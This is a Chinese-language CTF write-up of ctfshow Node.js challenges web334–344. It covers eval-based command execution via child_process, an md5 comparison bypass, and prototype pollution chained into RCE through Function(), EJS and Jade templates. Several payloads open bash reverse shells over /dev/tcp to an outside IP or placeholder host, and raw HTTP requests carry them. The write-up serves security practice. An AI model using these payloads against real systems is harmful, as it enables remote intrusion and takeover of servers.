Nodejs是一个基于ChromeV8引擎的js运行环境,所以可以认为nodejs是一个JavaScript的解释器
web334 一个登录界面,扫目录看到一个假的flag,有一个附件,用压缩包形式打开,有一个login.js和user.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 var express = require ('express' );var router = express.Router ();var users = require ('../modules/user' ).items ; var findUser = function (name, password ){ return users.find (function (item ){ return name!=='CTFSHOW' && item.username === name.toUpperCase () && item.password === password; }); }; router.post ('/' , function (req, res, next ) { res.type ('html' ); var flag='flag_here' ; var sess = req.session ; var user = findUser (req.body .username , req.body .password ); if (user){ req.session .regenerate (function (err ) { if (err){ return res.json ({ret_code : 2 , ret_msg : '登录失败' }); } req.session .loginUser = user.username ; res.json ({ret_code : 0 , ret_msg : '登录成功' ,ret_flag :flag}); }); }else { res.json ({ret_code : 1 , ret_msg : '账号或密码错误' }); } }); module .exports = router;
1 2 3 4 5 6 module .exports = { items : [ {username : 'CTFSHOW' , password : '123456' } ] };
登录成功就有flag,我们先看一下代码
在登录界面使用findUser检测函数对输入的用户名和密码进行检测
1 2 3 4 5 var findUser = function (name, password ){ return users.find (function (item ){ return name!=='CTFSHOW' && item.username === name.toUpperCase () && item.password === password; }); };
这里的话要求用户名不能是CTFSHOW,但是会进行一个转大写的操作,然后第二行就是从user.js中取用户名和密码
所以直接传ctfshow就行
web335 #nodejs的RCE where is flag?
在源码找到一个参数?eval=
,传入后有回显,可能是有回显的RCE或者SSTI猜测代码如下
1 eval(console.log(val eval))
然后我们去搜一下这个函数
所以我们传一个js代码看看,找找有没有RCE的函数
在 Node.js 中,执行系统命令主要通过 child_process
模块实现。我们看看这个模块下的execSync
函数
那我们试一下
1 ?eval=require(%27child_process%27).execSync('ls')
然后就看到flag文件了,直接读就行
当然也可以用另一个函数spawnSync
1 2 ?eval=require("child_process").spawnSync('ls',['./']).stdout.toString() ?eval=require("child_process").spawnSync('cat',['./f*']).stdout.toString()
之前不是说可能是ssti嘛,然后我测出来也存在SSTI
web336 过滤了exec,用spawnSync就行
需要注意这里因为返回值不是字符串而是数组,所以需要转为字符串输出
1 ?eval=require("child_process").spawnSync('cat',['./f*']).stdout.toString()
web337 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 var express = require ('express' );var router = express.Router ();var crypto = require ('crypto' );function md5 (s ) { return crypto.createHash ('md5' ) .update (s) .digest ('hex' ); } router.get ('/' , function (req, res, next ) { res.type ('html' ); var flag='xxxxxxx' ; var a = req.query .a ; var b = req.query .b ; if (a && b && a.length ===b.length && a!==b && md5 (a+flag)===md5 (b+flag)){ res.end (flag); }else { res.render ('index' ,{ msg : 'tql' }); } }); module .exports = router;
一个md5强比较,用数组去绕过就可以了
web338 #原型链污染 有源码,审计一下
在utils目录下common.js文件中发现有合并函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 module .exports = { copy :copy }; function copy (object1, object2 ){ for (let key in object2) { if (key in object2 && key in object1) { copy (object1[key], object2[key]) } else { object1[key] = object2[key] } } }
然后我们看一下登录逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 var express = require ('express' );var router = express.Router ();var utils = require ('../utils/common' );router.post ('/' , require ('body-parser' ).json (),function (req, res, next ) { res.type ('html' ); var flag='flag_here' ; var secert = {}; var sess = req.session ; let user = {}; utils.copy (user,req.body ); if (secert.ctfshow ==='36dboy' ){ res.end (flag); }else { return res.json ({ret_code : 2 , ret_msg : '登录失败' +JSON .stringify (user)}); } }); module .exports = router;
这里的话定义了两个空对象,然后会解析我们请求体中的json数据,然后传入req.body进行合并,之后访问secert的ctfshow属性,直接污染他的原型就行
所以这是一个很简单的nodejs原型链污染
本地测试一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 function copy (object1, object2 ){ for (let key in object2) { if (key in object2 && key in object1) { copy (object1[key], object2[key]) } else { object1[key] = object2[key] } } } var user = {}var secret = {}var a = JSON .parse ('{"__proto__":{"ctfshow" : "36dboy"}}' )copy (user,a)console .log (secret.ctfshow )
然后直接污染
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 POST /login HTTP/1.1 Host: c13e35ba-bf86-473d-9015-37157246936f.challenge.ctf.show Connection: keep-alive Content-Length: 31 sec-ch-ua-platform: "Windows" X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Accept: application/json, text/javascript, */*; q=0.01 sec-ch-ua: "Chromium";v="136", "Google Chrome";v="136", "Not.A/Brand";v="99" Content-Type: application/json sec-ch-ua-mobile: ?0 Origin: https://c13e35ba-bf86-473d-9015-37157246936f.challenge.ctf.show Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://c13e35ba-bf86-473d-9015-37157246936f.challenge.ctf.show/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: zh-CN,zh;q=0.9 Cookie: cf_clearance=ZuK66QChNGftyyiGS39xGqXjRvrgqwc7dpOpwNp8hgY-1747317016-1.2.1.1-SHtYMtmhonoQh3f9JFLxlX5e8ZPl2H.d.1t6d9JUkU8A48zWJ8kwl3L9eAExpcFayYenFfR8OxZ7NWlafUA3eW..1Ql.yEeMVQsO2dN0LeOWb9v9mBTw9f9lNiJBsuz0wNfBuxQoVypAzPhH9KeUpkB22hemlwS35.DR.pfloutzMUBCc7K.SMPWBv0hD22WPrXL6TOwx.8Vlv0exiJGfJydMDF8Fmgi7BwFDHfm8A27bqv1xzCh1xdEneeUo.dok_1cBQWYDpbP2ClHu0miDKBW2hnvhGXG7HbMovGYSE3c1QFXa0TPiCQYSEXDX_10Bnlxz9QrXZujCxO7ZGcQA_vDxzoYodJRpDZrLpAsbq8 {"__proto__":{"ctfshow":"36dboy"}}
web339 #原型链污染RCE 看一下登录逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 var express = require ('express' );var router = express.Router ();var utils = require ('../utils/common' );function User ( ){ this .username ='' ; this .password ='' ; } function normalUser ( ){ this .user } router.post ('/' , require ('body-parser' ).json (),function (req, res, next ) { res.type ('html' ); var flag='flag_here' ; var secert = {}; var sess = req.session ; let user = {}; utils.copy (user,req.body ); if (secert.ctfshow ===flag){ res.end (flag); }else { return res.json ({ret_code : 2 , ret_msg : '登录失败' +JSON .stringify (user)}); } }); module .exports = router;
这里的话显然满足不了if语句,另外还发现了一个api.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 var express = require ('express' );var router = express.Router ();var utils = require ('../utils/common' );router.post ('/' , require ('body-parser' ).json (),function (req, res, next ) { res.type ('html' ); res.render ('api' , { query : Function (query)(query)}); }); module .exports = router;
这里也有json处理数据的路由,既然会渲染api,那么我们污染一下里面的query参数去打rce
关于Function函数
可以打反弹shell,这样刚方便
1 {"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1\"')"}}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 POST /login HTTP/1.1 Host: d0cac15b-62ce-4473-a77f-fad68c73c708.challenge.ctf.show Connection: keep-alive Content-Length: 31 sec-ch-ua-platform: "Windows" X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Accept: application/json, text/javascript, */*; q=0.01 sec-ch-ua: "Chromium";v="136", "Google Chrome";v="136", "Not.A/Brand";v="99" Content-Type: application/json sec-ch-ua-mobile: ?0 Origin: https://d0cac15b-62ce-4473-a77f-fad68c73c708.challenge.ctf.show Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://d0cac15b-62ce-4473-a77f-fad68c73c708.challenge.ctf.show/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: zh-CN,zh;q=0.9 Cookie: cf_clearance=ZuK66QChNGftyyiGS39xGqXjRvrgqwc7dpOpwNp8hgY-1747317016-1.2.1.1-SHtYMtmhonoQh3f9JFLxlX5e8ZPl2H.d.1t6d9JUkU8A48zWJ8kwl3L9eAExpcFayYenFfR8OxZ7NWlafUA3eW..1Ql.yEeMVQsO2dN0LeOWb9v9mBTw9f9lNiJBsuz0wNfBuxQoVypAzPhH9KeUpkB22hemlwS35.DR.pfloutzMUBCc7K.SMPWBv0hD22WPrXL6TOwx.8Vlv0exiJGfJydMDF8Fmgi7BwFDHfm8A27bqv1xzCh1xdEneeUo.dok_1cBQWYDpbP2ClHu0miDKBW2hnvhGXG7HbMovGYSE3c1QFXa0TPiCQYSEXDX_10Bnlxz9QrXZujCxO7ZGcQA_vDxzoYodJRpDZrLpAsbq8 {"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.223.25.186/1234 0>&1\"')"}}
然后监听端口再POST访问api接口就行了,弹上后flag在env环境变量中,不过我发现在login.js中也有
web340
很明显这里覆盖不现实,还是直接原型链污染打rce
1 utils.copy (user.userinfo ,req.body );
但是这里需要污染两层,调试就可以的出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 function copy (object1, object2 ){ for (let key in object2) { if (key in object2 && key in object1) { copy (object1[key], object2[key]) } else { object1[key] = object2[key] } } } var user = new function ( ){ this .userinfo = new function ( ){ this .isVIP = false ; this .isAdmin = false ; this .isAuthor = false ; }; } body=JSON .parse ('{"__proto__":{"__proto__":{"query":"123"}}}' ); copy (user.userinfo ,body);console .log (user.userinfo );console .log (user.query );
可以看到这里污染成功了,直接打就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 POST /login HTTP/1.1 Host: c845fec7-1342-42ff-a2fe-aede5313fce6.challenge.ctf.show Connection: keep-alive Content-Length: 31 sec-ch-ua-platform: "Windows" X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Accept: application/json, text/javascript, */*; q=0.01 sec-ch-ua: "Chromium";v="136", "Google Chrome";v="136", "Not.A/Brand";v="99" Content-Type: application/json sec-ch-ua-mobile: ?0 Origin: https://c845fec7-1342-42ff-a2fe-aede5313fce6.challenge.ctf.show Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://c845fec7-1342-42ff-a2fe-aede5313fce6.challenge.ctf.show/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: zh-CN,zh;q=0.9 Cookie: cf_clearance=ZuK66QChNGftyyiGS39xGqXjRvrgqwc7dpOpwNp8hgY-1747317016-1.2.1.1-SHtYMtmhonoQh3f9JFLxlX5e8ZPl2H.d.1t6d9JUkU8A48zWJ8kwl3L9eAExpcFayYenFfR8OxZ7NWlafUA3eW..1Ql.yEeMVQsO2dN0LeOWb9v9mBTw9f9lNiJBsuz0wNfBuxQoVypAzPhH9KeUpkB22hemlwS35.DR.pfloutzMUBCc7K.SMPWBv0hD22WPrXL6TOwx.8Vlv0exiJGfJydMDF8Fmgi7BwFDHfm8A27bqv1xzCh1xdEneeUo.dok_1cBQWYDpbP2ClHu0miDKBW2hnvhGXG7HbMovGYSE3c1QFXa0TPiCQYSEXDX_10Bnlxz9QrXZujCxO7ZGcQA_vDxzoYodJRpDZrLpAsbq8 {"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.223.25.186/1234 0>&1\"')"}}}
后面的就一样了
web341 #ejs模板注入RCE 这次在index.js中没有函数调用了,但是在app.js中发现是ejs的模板引擎
我们跟进ejs.js文件的readFile函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 exports .renderFile = function ( ) { var args = Array .prototype .slice .call (arguments ); var filename = args.shift (); var cb; var opts = {filename : filename}; var data; var viewOpts; if (typeof arguments [arguments .length - 1 ] == 'function' ) { cb = args.pop (); } if (args.length ) { data = args.shift (); if (args.length ) { utils.shallowCopy (opts, args.pop ()); } else { if (data.settings ) { if (data.settings .views ) { opts.views = data.settings .views ; } if (data.settings ['view cache' ]) { opts.cache = true ; } viewOpts = data.settings ['view options' ]; if (viewOpts) { utils.shallowCopy (opts, viewOpts); } } utils.shallowCopyFromList (opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS); } opts.filename = filename; } else { data = {}; } return tryHandleCache (opts, data, cb); };
在 EJS(Embedded JavaScript)模板引擎中,renderFile() 是一个用于加载和渲染模板文件的方法。它通常与 Express 框架一起使用。
renderFile() 方法的作用是读取指定的 EJS 模板文件,并将数据填充到模板中生成最终的 HTML 内容。这个方法多用于将动态数据注入到模板中,以生成动态的网页内容
最后会返回tryHandleCache函数的值,从代码中可以看到,如果我们能控制返回的结果,是不是就可以进行攻击注入呢?,我们跟进这个函数看下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 function tryHandleCache (options, data, cb ) { var result; if (!cb) { if (typeof exports .promiseImpl == 'function' ) { return new exports .promiseImpl (function (resolve, reject ) { try { result = handleCache (options)(data); resolve (result); } catch (err) { reject (err); } }); } else { throw new Error ('Please provide a callback function' ); } } else { try { result = handleCache (options)(data); } catch (err) { return cb (err); } cb (null , result); } }
这里无论如何都会利用handleCache渲染模板,我们跟进handleCache函数看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 function handleCache (options, template ) { var func; var filename = options.filename ; var hasTemplate = arguments .length > 1 ; if (options.cache ) { if (!filename) { throw new Error ('cache option requires a filename' ); } func = exports .cache .get (filename); if (func) { return func; } if (!hasTemplate) { template = fileLoader (filename).toString ().replace (_BOM, '' ); } } else if (!hasTemplate) { if (!filename) { throw new Error ('Internal EJS error: no file name or template ' + 'provided' ); } template = fileLoader (filename).toString ().replace (_BOM, '' ); } func = exports .compile (template, options); if (options.cache ) { exports .cache .set (filename, func); } return func; }
这个函数的返回值是func
,而func
是 exports.compile(template, options)
的返回值,我们跟进complie函数
如果能够覆盖 opts.outputFunctionName
, 这样我们构造的payload就会被拼接进js语句中,并在 ejs 渲染时进行 RCE
1 prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n' ;
例如我们拼接命令语句
1 prepended += ' var ' + return outputFunctionName":" __tmp1;global .process .mainModule .require (\'chile_process\').execSync(\'ls\');var __tmp2 + ' = __append;' + ' \n';
前后分别给出一个变量,中间插入我们的命令执行语句,当然后面的也可以直接注释掉
所以我们可以传入opts.outputFunctionName的值为
1 return outputFunctionName":" __tmp1;global .process .mainModule .require (\'chile_process\').execSync(\'ls\');var __tmp2
这时候就需要用原型链污染了,将outputFunctionName的值污染一下就可以实现RCE了
本地写一下链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 var user = new function ( ) { this .userinfo = new function ( ){ this .isVIP = false ; this .isAdmin = false ; this .isAuthor = false ; } } function copy (object1, object2 ){ for (let key in object2) { if (key in object2 && key in object1) { copy (object1[key], object2[key]) } else { object1[key] = object2[key] } } } var a = JSON .parse ('{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;return global.process.mainModule.constructor._load(' child_process').exec(' bash -c \"bash -i >& /dev/tcp/124.223.25.186/1234 0>&1\"');var __tmp2" }}}') copy(user.userinfo,a); console.log(user.outputFunctionName);
传入json后污染成功就访问根目录返回渲染就能弹上了
web342&343 #jade模板注入RCE jade引擎的RCE,在js原型链文章中进行了相应的分析,这里直接给payload了
1 {"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"')"}}}
web344 1 2 3 4 5 6 7 8 9 10 11 12 13 14 router.get ('/' , function (req, res, next ) { res.type ('html' ); var flag = 'flag_here' ; if (req.url .match (/8c|2c|\,/ig )){ res.end ('where is flag :)' ); } var query = JSON .parse (req.query .query ); if (query.name ==='admin' &&query.password ==='ctfshow' &&query.isVIP ===true ){ res.end (flag); }else { res.end ('where is flag. :)' ); } });
需要绕过逗号和c,用编码和分段传参就行
1 2 /?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true} /?query={"name":"admin"&query="password":"\u0063tfshow"&query="isVIP":true}